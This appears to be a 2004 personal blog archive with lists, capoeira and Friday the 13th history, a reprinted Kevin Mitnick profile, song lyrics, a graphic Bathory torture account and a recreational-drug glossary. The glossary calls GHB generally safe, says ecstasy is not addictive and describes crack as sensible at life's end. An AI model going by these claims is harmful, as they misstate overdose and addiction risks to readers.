5. The Nasca Lines (Nasca, Peru)
6. City of Pyramids (Teotihuacan, Mexico)
7. The Cahokia Mounds (St. Louis, Missouri and Illinois)
8. Templo Mayor / Great Temple (Mexico City, Mexico)
9. Tetzcotzingo / Texcutzingo (Texcoco, Mexico)
10. Karnak Temple (Luxor, Egypt)

Top 10 Creepy places
1. Lizzie Borden Bed-and-Breakfast
2. Winchester Mystery House
3. Roswell
4. Salem
5. New Orleans
6. Gettysburg
7. Mütter Museum of Medical History
8. Tower of London
9. Haunted Hollywood
10. Bermuda Triangle

Top 10 Prisons ever...
1. Alcatraz Island, California
2. Robben Island Museum, South Africa
3. Bridge of Sighs, Italy
4. Sodaemun Prison, Korea
5. Eastern State Prison, Pennsylvania
6. Old Melbourne Gaol, Australia
7. Acre Underground Prisoners Memorial Museum, Israel
8. The Clink Prison, England
9. Ushuaia National Prison, Argentina
10. Fort Jesus Museum, Kenya

Top 10 Graves
1. The Grave of Oscar Wilde
2. The Graves of Bruce Lee and Brandon Lee
3. The Grave of Harry Houdini
4. The Grave of Jim Morrison
5. The Grave of Charles Pigeon
6. The Grave of Bob Marley
7. The Grave of Karl Marx
8. The Grave of Emily Mather
9. The Grave of John Ringo
10. The Grave of Lionel Lockyer

Great cities, great view, great living, "GREAT" EXPENSES!!!

2004-06-17T10:46:00.000+02:00

Have you guys been to some of these cities? Feel anything when buying food, drinks, and snacks? Try to differ it with the country you are living right now?

Top 25 cities with most expensive living cost:

1. Tokyo, Japan

2. London, United Kingdom

3. Moscow, Russia

4. Osaka, Japan

5. Hong Kong, China

6. Geneva, Switzerland

7. Seoul, South Korea

8. Copenhagen, Denmark

9. Zurich, Switzerland

10. St. Petersburg, Russia

11. Beijing. China

12. New York, United States

13. Milan, Italy

14. Dublin, Ireland

15. Oslo, Norway

16. Shanghai, China

17. Paris, France

18. Istanbul, Turkey

19. Vienna, Austria

20. Sydney, Australia

21. Rome, Italy

22. Stockholm, Sweden

23. Helsinki, Finland

24. Abidjan, Ivory Coast

25. Douala, Cameroon

Some of the world's most expensive...

2004-06-16T17:15:00.000+02:00

Check your house. Turn it upside down. And look for any of these stuff. If you got any, that means you're Rich (realize it's rich with capital "R"). Here are some of those things I can find.

Most expensive private plane

The new twin jet Gulfstream GV can fly you and up to 14 of your best friends at nearly 600 mph from New York to Tokyo.
Price: $40 million.

Most expensive private yacht

A 165'-170', yacht with six to eight state rooms from Feadship America of Ft. Lauderdale, Fla.
Price: $25-30 million.

Most expensive private helicopter

The eight passenger Bell Boeing 609 Tilt Rotor is still only on the drawing board but when it is produced in 2000 it will be the new gold standard of the helicopter world.
Price: $10 million.

Most expensive car

The 1997 Bentley Azure convertible touring car is currently the most expensive production automobile available.
Price: $329,400.

Most expensive food

One pound of Beluga Prime from Caviarteria in New York.
Price: $750.

Most expensive champagne

One case of Krug Clos du Menil from Sherry Lehmann in New York:
Price: $2,400.

Most expensive shotguns

One pair of custom made Holland & Holland Royal Deluxe side by sides.
Price: $130,000.

Most expensive hotel room

One night at the Imperial Suite of the Hotel Ritz in Paris.
Price: $8,340.

Most expensive tchotchke

A 16th century Vietnamese vase from the Chinese Porcelain Company in New York.
Price: $220,000.

Most expensive sheets

D. Porthault in New York offers a custom made complete bed assemble of embroidered lace cotton voile consisting of a king size top sheet, king-size bottom sheet, two standard shams, two European squares, two boudoir shams, and one neckroll.
Price: $10,000.

Most expensive riding boots

One pair of custom made John Lobb riding boots from Herm?
Price: $6,034.

Most expensive commercial plane ride

One round trip Concorde flight between New York and London on British Airways.
Price: $10,090.

Most expensive luggage

Louis Vuitton can provide you a complete set of luggage in their trademark monogrammed canvas, including an armoire trunk, a wardrobe trunk, a steamer trunk, four matching suitcases, a hat box, a cruiser bag and a jewelry case.
Price: $60,1340.

Most expensive way to carry 'Fifi'

Louis Vuitton's "Sac Chien."
Price: $940.

Most expensive wristwatch

Abraham Louis Breguet's 18 karat gold wristwatch with tourbillon, perpetual calendar, minute repeater, retrograde date and jumping hours (of which only ten will be made).
Price: $450,000.

Most expensive way to have your trousers pressed & your back watched

One year's salary for a personal valet from England with a black belt in Karate.
Price: $60,000.

Most expensive way to say "I'm sorry, sweetheart."

Chanel Joaillerie's "Volute" wrap around choker in white gold with twenty six South Sea pearls alternating with 26 diamonds.
Price: $2.7 million.

The coolest martial art ever...

2004-06-16T16:37:00.000+02:00

NOWADAYS, it is thought that slaves from Angola,
who were first brought to Brazil in the 16th century,
developed Capoeira as a self-defense technique.

Basing themselves on traditional African dances and rituals,
these slaves practiced Capoeira in the work free hours
left to them, thus training both mind and body
for combat situations. As the slave-masters forbade
any kind of martial art, it was cloaked in the guise
of an innocent-looking recreational dance.
In the 17th century escaped-slaves founded
a number of "quilombos" (hidden slave-governed territories),
in which the Art of Capoeira was further perfected.

The inhabitants of Palmares, the largest of the quilombos,
fought a decade-long war againsttheir colonial oppressors.
Capoeira was used not only in direct combat, it also inspired
the battle strategy itself; feigning retreat, thus luring the
over-confident enemy into remote territories only to strike back
at an unsuspecting place and time.

The official prohibition of Capoeira remained
even after slavery was abolished in 1888.
It was nevertheless practiced by the poorer population
on public hollidays, during work-free hours and similar occasions.
Riots, caused also by police interference, were common.
Persecution and punishment were almost successful in eradicating
Capoeira from the "streets" of Brazil by the 1920's.
In spite of the ban, Master Bimba and Master Pastinha
founded the first Capoeira schools in Salvador, Bahia.
Master Bimba created a new style, the "Capoeira Regional"
(as opposed to the tratditional "Capoeira Angola")
by incorporating new moves and techniques and was
finally successful in convincing the authorities of the cultural
value of Capoeira, thus ending the official ban in the 1930's.

A short biography of an extra ordinary woman...

2004-06-13T00:22:00.000+02:00

You all must know about Dracula. But have you ever heard about FEMALE DRACULA or should I say Countess Dracula? This is not just a story, but this is real story. The 1970's film Countess Dracula was the first to deal explicitly with the this. Movie insiders say that a newer version starring Linda Blair, which offers some insight into its predicted quality is in the works right now. Well before watching the movie, let's rethrough a little information about this "COUNTESS DRACULA."

Countess Elizabeth Bathory (1560-1614), was a Hungarian noblewoman, born to one of Hungary's wealthiest and most influential families. The young Countess was a spoiled child, raised by a string of governesses employed to cater to her every need. Though her erratic fits and stand-offish personality were bothersome, she was generally regarded as an intelligent and capable young woman.

At the age of eleven Elizabeth became engaged to 26 year old Count Fernencz Nadasdy, a renowned war hero whose sadistic flair would ultimately earn him fame as "The Black Hero of Hungary."

In her early twenties, Elizabeth, perhaps in a fit of boredom, discovered that torturing servants "tickled her fancy." Unfortunately for the teenage females in the servant population, Elizabeth's choice targets were adolescent girls. She began by ripping their bodies apart with red-hot pincers, setting them on fire, and torturing them with "star-kicking," which entailed oiled bits of paper being placed inbetween the servants' toes; the paper would be lit on fire while the Countess delighted in the spectacle of the girls attempting to kick away the flames. She was known to rip girls' heads apart by pulling their mouths open until they tore at the edges and the neck snapped. On her better days, she delighted in humiliating girls by forcing them to strip naked and perform their household duties in full view of men.

When Fernencz returned home from war, he often indulged in the torture spectacles with his wife, though most accounts note that his capacity for administering agony was vastly exceeded by his wife's, Ferencz would storm off in disgust while Elizabeth squealed in delight. In her late twenties, the Countess bore two daughters and a son, all of whom were promptly relinquished to the care of wet nurses and governesses shortly after birth. Though the Countess ignored her children, she did not include them in her tortures.

When an unfortunate servant girl pulled the Countess' hair while styling it, Elizabeth slapped the girl so hard that blood splashed on her hand. As she went to wipe it off, she believed that the skin touched by the blood had regained the smooth, creamy complexion for which it had once been famous. She consulted her accomplices witches known as Darvulia, Helena Jo, and Dorka. They assured her that the blood of virgins was indeed the proverbial fountain of youth for those who bathed in it. Elizabeth ordered the maid's throat slashed and her blood drained into a large vat. She bathed lavishly in the blood while it was still warm. Thus began a horrific ritual. Hundreds of girls were kidnapped, brought to the castle, and drained of their blood. Often she bit their necks and breasts herself, drinking the blood and eating the flesh from their open wounds. Elizabeth ordered torture devices from German clockmakers and blacksmiths. Soon Csjethe Castle, where she lived out much of her adult life, had a torture chamber in the basement. Aside from the notorious vat and a kitschy iron maiden, there were spiked cages and a spike filled metal orb hanging from the ceiling. Girls were placed in the cylindrical spiked cages and prodded with red hot iron pokers until they impaled themselves on the spikes; others were placed in the spiked orb, which was rocked back and forth like a pendulum until the girl's flesh had been shredded. The cages were fitted with drains at the bottom so that the Countess could stand beneath them for a "blood shower."

Elizabeth's reign of terror continued for years. The casualty list grew into the three digits. Bodies of dead girls were burned, buried beneath the castle floors, or left in the wilderness to be devoured by scavengers. Shockwaves of terror penetrated the surrounding countryside from which most of Elizabeth's victims had been abducted, but few dared speak out for fear of the Countess' infamous wrath. Even the clergy which supposedly responsible for protecting peace and justice. No direct action was taken until the Countess, having exhausted her supply of adolescent girls in the area, began preying on noblewomen of lesser rank. She established a sham "school" for teenage girls of noble birth, inviting them to Csjethe Castle with the promise of education, only to torture them to death for months at a time.

A clergyman finally notified King Matthias of Hungary, who commissioned Elizabeth's cousin, Count Thurzo, to conduct an investigation of the Countess' activities. A raid on the castle proved ghastlier than Thurzo and his men had prepared themselves for one dead girl in the main hallway, another, still alive, whose entire body had been pierced with holes, and several more hung from the rafters of the basement ceiling like gutted deer, their blood emptying into Elizabeth's legendary vat. Fifty bodies were exhumed from the basement of the castle. The roster, discovered in Elizabeth's desk, listed the names of 650 girls who had been murdered. The Countess' accomplicies Dorka, Ficzko, and Thorko, among others were taken into custody, while the Countess herself was placed under house arrest in her castle.

In 1610, the Countess and her accomplices were placed on trial. Dorka, Helena Jo, and Ficzko confessed after lengthy torture sessions. All placed the majority of blame on Anna Darvulia, a witch consort of Elizabeth's who passed away several years prior to the trial. Over 200 witnesses were called, many of whom had little more than hearsay to offer nonetheless, confessions of those close to the Countess' court, as well as the grisly evidence uncovered at Thurzo's raid, provided ample testimony to her guilt. Elizabeth herself never physically appeared in court or admitted to any crime.

Her accomplices, however, were shown no mercy. Dorka and Helena Jo, whose hands had "spilled Christian blood," had their fingers torn out with red-hot pincers before being thrown into a fire; the others were beheaded and burned at the stake. Another cohort, Erszi Majorova, was later beheaded when evidence surfaced linking her to the Countess' sadistic activities.

By law, Elizabeth's noble birth prevented her from sharing the fate of her accomplices, but her cousin Thurzo sentenced her to perpetual imprisonment in her own castle in 1611. Elizabeth was walled into a small chamber in her castle, with only a small hole left open for air and food. The tower still stands today in the modern Slovak Republic. A full transcript of the trial was produced and remains today in the Hungarian State Archive in Budapest.

Countess Elizabeth Bathory never confessed to her crimes, nor did she utter a word of repentence or remorse. After refusing the services of a battalion of priests, she was found dead in her prison in 1614, three years after her initial imprisonment. She was fifty-four years old. Folklore has attributed her death to deprivation of virgins' blood.

Most wanted cyber criminal...

2004-06-12T16:25:00.000+02:00

Got this article from Internet. Probably you also want to know about this. Well have fun reading.

Until 1995, when he was jailed for five years in a US federal prison, Kevin Mitnick was at the top of the FBI's "most wanted" list, yet he had killed no one, had no links with the Mafia, had never dealt in drugs, committed serial rape or held up a bank.

Yet he struck fear into the heart of the US Government and corporate America. He was, and remains, America's most notorious cyber criminal, a hacker of great skill who, according to the evidence against him, penetrated some of the most sensitive databases in the world, stole software worth millions of dollars and cost the US Government a fortune before he was caught.

Today, Mr Mitnick is the poacher turned gamekeeper.

Released from prison in January, 2000, he is still banned from using a computer, logging into the Internet, using e-mail or a mobile phone, a prohibition due to be lifted on January 20, 2003 unless, as his supporters suspect it may, the US Government presses further charges against him.

Until recently, he was not even allowed to talk about computers or work in the field as a consultant, but those bans have been lifted and he will speak to Australians in May at an IT security conference in Sydney, telling delegates how to protect themselves against people like him.

He will not be here in person, but will be seen and heard via high-speed Internet video link, an event that, for him, represents a considerable breakthrough in the legal entanglements with which he has lived for almost seven years.

Meantime, Mr Mitnick makes his living with an elderly electric typewriter, writing syndicated newspaper and magazine articles, which he dictates over the telephone to a copytaker. He also earns money speaking as an expert in network design and management and, above all, security, to IT groups.

The manhunt for Mr Mitnick is one of the modern sagas of US criminal history. Teams of FBI agents and private investigators worked day and night tracking the elusive hacker through the labyrinths of the Internet and from one hideout to another before trapping him in Raleigh, North Carolina, not far from the main campus of IBM.

Many in the cyber community, particularly those who object to what they see as the hijacking of the Internet by crass commercialism, vigorously defend Mr Mitnick as the victim of big business and bigger government. Others say he was just a common thief. That the property he took was digital information in cyberspace made his crime no different than if he had tried to steal the crown jewels or truck gold bars out of Fort Knox, they say. He is said to have cost companies, among them Motorola, Novell, Nokia and Sun Microsystems, millions of dollars by stealing their software secrets and altering computer information.

Mr Mitnick's nemesis was not an FBI agent but a Japanese computer scientist, Tsutomu Shimomura, who is a senior fellow at the San Diego Supercomputer Centre in California. Mr Mitnick made the cardinal error of sneaking into Mr Shimomura's computer network and stealing data and e-mails.

Mr Shimomura saw Mr Mitnick's penetration of his network as a gross invasion of his personal privacy. From then on it was a case of the enraged samurai in search of revenge. His relentless pursuit of Mr Mitnick is seen by many in the hacker community as needless persecution of someone who, they say, did no real harm. It was, essentially, a case of one obsessive pursuing another to an inevitable conclusion.

Mr Mitnick's exploits produced several books, one, called Takedown, written by Mr Shimomura in collaboration with John Markoff, the New York Times correspondent in Silicon Valley, was made into a fairly unremarkable movie of the same name.

Mr Mitnick also featured in an earlier book, Cyberpunks, written by Markoff in collaboration with his then wife, Newsweek journalist Katie Haffner.

Critics of the campaign against Mitnick take some pleasure in noting that Markoff and Haffner split up.

Mr Mitnick is disparaging of most corporate and government security measures. Stealing an individual's identity is like taking lollies from a toddler, he says. Most people - even banks and similar financial institutions handling billions of the public's dollars - are woefully lax about passwords, user names and other data used to verify an individual. Many ask for the maiden name of a customer's mother and use that, and/or a birthdate to check an identity. Yet an even moderately keen crook can find such details readily available in public records, he says.

"Many governments and private organisations keep our so-called private information in widely accessible databases, and many opportunities exist for identity thieves to reach it," Mr Mitnick said in a recent article on IT security.

The great Friday the 13th...

2004-06-11T13:57:00.000+02:00

Believe in most superstitios ever? Friday the 13th? Have you bother to avoid it? Think twice about it before doing anything on that day? Well I don't. In fact I even feel good on that day. Want to know why? Ask me... Hehe. Well let's start with where "Friday the 13th" actually come from.

Let's look at this for a second:
In order to organize time, human beings created calendars.
As part of today's dominate calendar system, every year is divided into 12 periods called months, consisting of roughly 30 days each.
All days are also grouped into sets of seven, called weeks.
In the Western world, a significant chunk of the population suspects bad things will happen whenever the 13th day of a month occurs on the day of the week called Friday.
Like many human beliefs, the fear of Friday the 13th (known as paraskevidekatriaphobia) isn't exactly grounded in scientific logic. But the really strange thing is that most of the people who believe the day is unlucky offer no explanation at all, logical or illogical. As with most superstitions, people fear Friday the 13th for its own sake, without any need for background information.

The superstition does have deep, compelling roots, however, and the origins help explain why the belief is so widespread today. In this article, we'll look at some of the interesting stories behind this unluckiest of days.

The fear of Friday the 13th stems from two separate fears. The fear of the number 13 and the fear of Fridays. Both fears have deep roots in Western culture, most notably in Christian theology.
Thirteen is significant to Christians because it is the number of people who were present at the Last Supper (Jesus and his 12 apostles). Judas, the apostle who betrayed Jesus, was the 13th member of the party to arrive.

Christians have traditionally been wary of Fridays because Jesus was crucified on a Friday. Additionally, some theologians hold that Adam and Eve ate from the forbidden fruit on a Friday, and that the Great Flood began on a Friday. In the past, many Christians would never begin any new project or trip on a Friday, fearing they would be doomed from the start.

Sailors were particularly superstitious in this regard, often refusing to ship out on a Friday. According to unverified legend, the British Navy commissioned a ship in the 1800s called H.M.S. Friday, in order to quell the superstition. The navy selected the crew on a Friday, launched the ship on a Friday and even selected a man named James Friday as the ship's captain. Then, one Friday morning, the ship set off on its maiden voyage... and disappeared forever. A similar, entirely factual story is the harrowing flight of Apollo 13.

Some historians suggest the Christian distrust of Fridays is actually linked to the early Catholic Church's overall supression of pagan religions and women. In the Roman calendar, Friday was devoted to Venus, the goddess of love. When Norsemen adapted the calendar, they named the day after Frigg, or Freya, Norse goddesses connected to love and sex. Both of these strong female figures once posed a threat to male-dominated Christianity, the theory goes, so the Christian church vilified the day named after them.

This characterization may also have played a part in the fear of the number 13. It was said that Frigg would often join a coven of witches, normally a group of 12, bringing the total to 13. This idea may have originated with the Christian Church itself; it's impossible to verify the exact origins of most folklore. A similar Christian legend holds that 13 is unholy because it signifies the gathering of 12 witches and the devil.

The number 13 could also have been considered pagan because there are 13 months in the pagan lunar calendar. The lunar calendar also corresponds to the human menstrual cycle, connecting the number to femininity.

The Christian perspective on Friday and 13 is the most relevant today, but it's only one part of the Friday the 13th tradition.
Some trace the infamy of the number 13 back to ancient Norse culture. In Norse mythology, the beloved hero Balder was killed at a banquet by the mischievous god Loki, who crashed the party of twelve, bringing the group to 13. This story, as well as the story of the Last Supper, led to one of the most entrenched 13-related beliefs: You should never sit down to a meal in a group of 13.

Another significant piece of the legend is a particularly bad Friday the 13th that occurred in the middle ages. On a Friday the 13th in 1306, King Philip of France arrested the revered Knights Templar and began torturing them, marking the occasion as a day of evil.

Both Friday and the number 13 were once closely associated with capital punishment. In British tradition, Friday was the conventional day for public hangings, and there were supposedly 13 steps leading up to the noose.

Ultimately, the complex folklore of Friday the 13th doesn't have much to do with people's fears today. The fear has much more to do with personal experience. People learn at a young age that Friday the 13th is supposed to be unlucky, for whatever reason, and then they look for evidence that the legend is true. The evidence isn't hard to come by, of course. If you get in a car wreck on one Friday the 13th, lose your wallet, or even spill your coffee, that day will probably stay with you. But if you think about it, bad things, big and small, happen all the time. If you're looking for bad luck on Friday the 13th, you'll probably find it.

Some Chemicals Stuff Which Make You Feel Great But...

2004-06-10T15:43:00.000+02:00

Here are some chemicals or mother nature's
part which can make you feel so high, good,
great, invincible, happy, etc. Sound great
isn't it? But don't just think from the good
side. Try think the side effect of them. Here
I'll tell you about what are they, what are
the good effect, and what are the bad effect.

Absinthe: a strong alcoholic liqueur, green
in color and very bitter is taste. Diluted
with cold water poured over a spoonful of sugar
into a shot of absinthe; solution turns opaque
white as the essential oils precipitate out.
Some ascribe aphrodesiac and narcotic properties.
Illegal in the U.S. because most brands contain
artemisia absinthium.

Amphetamine: (C10H15N). Colorless, volatile
liquid (C9H13N in sulfate or phosphate form).
Stimulates central nervous system; used to
enhance performance. Induces feeling of high
energy and loss of appetite. Became popular in
U.S. in 1930s when Cocaine was illegal and
amphetamines plentiful, legal and inexpensive.
Nickname: Bennies, Bendzedrine, Dexedrine, Dexies,
Pep-Pills, MDA.

Barbiturates: Class of drugs (salt or ester
of barbituric acid C4H4O3N2), including barbital
and phenobarbital, prescribed as depressant or
to induce sleep in the absence of pain. Regular
use leads to partial tolerance so increasingly
larger doses are needed to produce the same
result. Overdose easily fatal.

Benzodiazepine: Downer. Family of depressants
used (under many well-known trade names such
as Valium, Xanax, Ativan, Paxipam, Restoril,
Rohypnol, Librium) therapeutically to sedate,
produce sleep, relieve anxiety and muscle spasms,
and to control severe epileptic seizures.
Nickname: Downer.

Cocaine: World's most powerful stimulant of
natural origin; highly addictive; brief effect
(maybe 30 minutes). An alkaloid, a narcotic
and local or topical anaesthetic extracted from
dried leaves of the coca plant, a bushy shrub
native to high altitudes in the Andes Mountains
of South America and cultivated in Java and
other Asian countries, and in Nigeria; used
by the Indians over 5000 years, who chewed
leaves for social, medicinal and religious
purposes. C17H21NO4. Therapeutically used for
local pain relief, generally as a hydrochloride.
Nickname: Coke.

Codeine: An alkaloid C18H21O3N(H2O) derived
from opium. Used for relief from pain and spasm.
Similar to but milder than morphine.

Crack: an extract of cocaine, much more addictive;
gives a short term rush of euphoria; said of Crack
“... crack addicts who would put down the pipe only
long enough to stop puking; some would pimp for
their kids or parents to get another hit; plain
old Coke never did that.”
In heavy users there may be hallucinations of
insects crawling under the skin, followed by severe
depression, agitated delirium and toxic paranoia.
While one must take the drug to appreciate the
experience, it is at best very imprudent; it is
profoundly unwise to allow it into your system.
There is one time in life when taking crack is
sensible, harmless and both emotionally and
intellectually satisfying: at the end of life
when there is no hope of recovery, bringing
life to a close with a transcendentally
orgasmic bang.

Crack Nicotine: More addictive than crack cocaine;
lethal in minute dosage.

DMT: n,n-DieMethylTryptamine. Hallucinogenic
that is smoked or injected. Injected the high
is realized within 10-15 minutes and gone within
60; smoked the high is realizeed within 10 seconds
and fully gone within 10 minutes.

DOM: a tryptamine derivative, member of
phenethylamine family (mescaline, ecstasy, etc).
A psychedelic slow to take effect and of long
duration. Tolerance develops with repetition.

Ecstasy: of amphetamine family. Drug of choice
at raves; stimulant and hallucinogen; gives a
‘drunk feeling’ without the hangover. There is
no evidence it is addictive. When the price of
3-4 pills became too expensive, speed became
the cheaper alernative.
Nick name: X, E, MDMA, Happy Pills.

Ephedrine: An alkaloid C10H15NO originally
derived from the Ephedra plant and used to relieve
congestion and asthma and to constrict blood vessels.
Over-the-counter substitute for amphetamine.
Nickname: White-cross.

GHB: Gamma- HydroxyButyrate. Non-addictive.
“Date rape drug.” Found naturally in every
cell in the human body. A sedative. Effects can be
felt 5-20 minutes after taking and last 1-1/2 to
3 hours. Effects are very dose-dependent. Despite
its general safety and lack of toxicity, its safe
use requires information, preparation, caution and
good judgment. Since its availability is a gray
market activity, concerns about quality and purity
should be kept in mind.

Hashish: Various preparations of the various hemp
plants of the Near East, including India. Smoked,
chewed, drunk. Narcotic or intoxicant. Bhang
(comparable in potency to marijuana in the U.S.)
from uncultivated plants is a pleasant-tasting l
iquid; Ganja, from tops of cultivated plants, is
next most potent; most potent is Charas, scraped
as a resin from cultivated plants and compressed
for smoking. See also Marijuana

Hemp: a group of plants including cannabis (which
has hallucinogenic properties); grown for fiber content.
In USA many hemps are prohibited in commercial
production because of similarity to cannabis. In Colonial
U.S. hemp cultivation was encouraged by Government and
in Virginia farmers were required to grow hemp; its
cultivation was encouraged during World War II for its
fibers. Until recently the long fibers from hemp were
the best-known and most widely used textile fibers on
Earth; it is still grown as sisal, jute and under other
names.

Heroin: Derived from opium. C21H23NO5. A maintenance
drug requiring daily dosage; addictive.

Ketamine: Veterinary and human anesthetic; its action
is to dissociate mind and body, which results in
profound hallucinations and sensations of entering
another reality.

LSD: Not addictive. LySergic acid Diethylamide (an
amide of lysergic acid C15H15N2CON(C2H5)2. Hallucinogen
of unpredictable psychological effect used in the study
of schizophrenia and other mental disorders. Colorless,
odorless, slightly bitter taste. Takes effect 30-90
minutes; may last several hours. Dilated pupils, higher
body temperature, increased heart rate and blood pressure,
sweating, loss of appetite, sleeplessness, dry mouth and
tremors. Sensations change much more dramatically than the
physical signs. Nick name: Acid.

Marijuana: an intoxicant in popularity second to
alcohol; dried flowers and leaves of cannabis hemp
smoked for euphoric effects. Nickname: Cannabis,
Pot, Reefer, too many nicknames to be put here.

Mescaline: the hallucinogenic ingredient in peyote.

Methamphetamine: Highly addictive, a white crystaline
derivative from amphetamine used in the form of its
hydrochloride as a drug with stronger stimulating
action than amphetamine, about twice as strong as
Dexedrine.
Nickname: Zip, Spoosh, Speed, Shi-Shi, Shabu, Scootie,
Methedrine, Crystal Meth, Load Of Laundry, Ice, Go-Fast,
Glass, Geep, Crank, Chicken-Feet, Chalk, Boo, Cat.

Morphine: The principle alkaloid of opium. C17H19O3N(H2O).
Used for pain relief despite serious side effects such
as addiction.

Mushrooms, psilocybin: hallucinogenic.

Opium: addictive narcotic drug extracted from various
poppies cultivated in various parts of the world;
contains alkaloids such as morphine, codeine, papaverine;
smoked as intoxicant and medically to relieve pain and
produce sleep. Acute poisoning presents symptoms not
easily distinguished from those produced by alcohol or
stroke.

PCP: PhenCyclohexyl Piperidine, developed as a surgical
anesthetic; a stimulant in moderate doses but a
depressant in larger doses. Pure PCP is a white
crystalline powder that dissolves in water. Depending
on manufacture it may be tan to brown, from powder to
a gummy mess. At low to moderate doses breathing rate,
blood pressure and pulse increase, respiration becomes
shallow, sweating is profuse; general numbness in
extremities and poorer muscular coordination; in
psychological effect similar to alcohol. In high doses
it may cause nausea, vomiting, blurred vision, drooling,
loss of balance and dizziness; it may cause illusions
and hallucinations. Nickname: Angel Dust.

Peyote: : A small cactus containing mescaline, a
hallucinogen; used by the American Indians in ceremonies.
Eaten or used to brew a tea.

PMA: paramethoxyamphetamine; makes body temperature
dangerously high.

Salvia: hallucinogen; smoke dried leaves or chew fresh
leaves; moderate doses can be lethal.

Snuff: Leaf of the tobacco plant in powdered form.

Steroids: Group of compounds including sterols,
bile acids, sex hormones, etc. Having the ring
structure of the sterols, which are solid cyclic
unsaturated alcohols such as cholesterol.

Probably some of you know more than me and think
that my information is not correct, just let me
know. I'll fix them right the way. Is there any
of you guys can provide me with prices of these
stuff? It'll be a plus point for my next story. Peace...

Love Song

2004-06-10T14:45:00.000+02:00

Hoobastank - The Reason

I'm not a perfect person
There's many things I wish I didn't do
But I continue learning
I never meant to do those things to you
And so I have to say before I go
That I just want you to know

I found a reason for me
To change who I use to be
A reason to start over new
And the reason is you

I'm sorry that I hurt you
It's something I must live with everyday
And all the pain I put you through
I wish that I could take it the way
And me the one who catches all your tears
That's why I need you to hear

I found a reason for me
To change who I use to be
A reason to start over new
And the reason is you
And the reason is you
And the reason is you
And the reason is you

I'm not a perfect person
I never meant to do those things to you
And so I have to say before I go
That I just want you to know

I found a reason for me
To change who I use to be
A reason to start over new
And the reason is you
I found a reason to show
A side of me you didn't know
A reason for all that I do
And the reason is you

E-Type

My mind keeps drifting back to things we said this morning
Now I'm sitting here alone, watching the world pass me by
Every time we part I fell like I'm falling
No matter what you think I still love you

You will always be a part of me, no matter what we do
You will always hold a piece of me wherever I may go
Always....

The sky gets darker and I sense that you are far and away
I miss the times we had when things were going our way
But every time we part you know how much it hurts me
No matter what you think I still love you.

You will always be a part of me, no matter what we do
You will always hold a piece of me, wherever I may go
Always....

Carpenters - Close To You

why do birds suddenly appear
every time you are near?
just like me, they long to be
close to you

why do stars fall down from the sky
every time you walk by?
just like me, they long to be
close to you

On the day that you were born,
the angels got together
and decided to create a dream come true.
So they sprinkled moondust in your hair of gold
and starlight in your eyes of blue,

That is why all the boys(girls) in town
follow you all around
just like me, they long to be
close

On the day that you were born,
the angels got together
and decided to create a dream come true.
So they sprinkled moondust in your hair of gold
and starlight in your eyes of blue,

That is why all the boys(girls) in town
follow you all around
just like me, they long to be
close

Amiel - Lovesong

It's one thing to ask, why we break up
Have you ever, wondered why it is we fall in love?
Can you tell me, do you know what it is you're looking for?
Why do we need? Can you tell me why I care?
How is that we heed, that voice that says, 'I want you there'?

Thanks you've been fuel for thought
Now I'm more lonely than before
But, thats okay
I've just went and made another f*cking love song
And thanks you've been fuel for thought
Now I'm more lonely than before
But, that's okay
I've just went and made another f*cking love song

In a single moment, you might be perfect
And sit in a window of my life
But how much? How much more would I get to see?
What would I strive to hide? Now there will be no compromise
So take it in your stride, I'll believe you now with a smile

Thanks you've been fuel for thought
Now I'm more lonely than before
But, thats okay
I've just went and made another f*cking love song
And thanks you've been fuel for thought
Now I'm more lonely than before
But, that's okay
I've just went and made another f*cking love song

Look into my eyes, ours was no love sacrifice
For it has helped us to grow
And I'm sorry I know just how far I have to go alone

Thanks you've been fuel for thought
Now I'm more lonely than before
But, that's okay
I've just went and made another f*cking love song
And thanks you've been fuel for thought
Now I'm more lonely than before
But, that's okay
I've just went and made another fucking love song

I've just went and made another love song
Just went and made another love song

Irresistable hairstyle ever for you guys n gals out there.

2004-06-02T21:00:00.000+02:00

This is the undeniable timeless cool looking hair style. No matter you are white, yellow, green, black, pink or whatever skin color you have. Ow wait, do you know what I am talking about right now? Dreadlock? Sounds familiar? If you have no idea what that is, it's ok. Don't feel ashame of yourself. At least now you know. Know Bob Marley? His hair is dreadlock. Got it now?

It takes a litlle work to make dreadlocks happen in straigt hair, but you can handle it. I'll try to give you some tips and instruction and see if I can help you sport some phatty dreadlocks asap! Dreadlocks are prolly the coolest hair style ever. Chicks dig'em on dudes, Dudes are all about'em on Chicks. They're just plain cool. First of I gotta say that dreadlocks are not dirty like some missled peoples believe. Sure, they can be dirty, but so can you hair when its straight. It's just a matter of how you take care of it. You can use dread wax to start your dreads and they will be totally washable. No need to let that shizz get all rank. Dreadlocks actually tighten faster when you keep'em clean.
There's two things that you never ever wanna submit your dreadies to:
- Conditioners
- Combing

After you start your dreads you won't comb or brush your hair, the idea of a dreadlock is that the hair gets tangled and knotted, then after a lil while the knots get tighter and smooth out into a dread. You can help this process a lot by
1. Knotting the hair up to start
2. Using the right stuff to hold the knots together in that crucial time when they are "locking up".

The knotting can be done with a fine tooth comb, any will wurk as long as its really strong. Metal pet combs are great cuz they won't break no matter how hard you pull on'em. The proccess of dreading up this hair, or knotting it up really, (the dreadlocks happen after you wax it) is called backcombing. You backcomb the hair by grabbing a bundle of it (usually about the size of ur finger) and sliding the comb toward your head.

You bunch up the hair as tight as you can get it. Its best to have a friend help you. Its even better if ur friends gettin dreads too. That way you can help each other out. So you tangle the hair up with the comb like you are teasing it but you pack it in real tight. So you get it knotted up into a shap that looks like a dreadlock, it's knot really a dreadlock yet though. Dreads take time, this is preparing your hair to dread. Dredlocks cannot be made overnight, no matter what you do you'll need to give the hair time before it will form dredlocks. Dredlocks is a process and these methods make dredlocks turn out great over and over. If you do this stuff right you're gunna have sweet ass lookin dreadlocks in about 4 or 5 weeks. If you just leave the hair alone and don't wash it or comb it, hoping it will turn into dredlocks, it usually takes about 7 to 8 months before you have dreads. You'd prolly end up cutting it all off long before that thought cuz it would look frizzy and wack the whole time and itch like a bitch cuz you didn't wash it. So the secret is use dread wax. Using the wax you can keep them clean and they will look good while they are locking and of course they lock way faster.

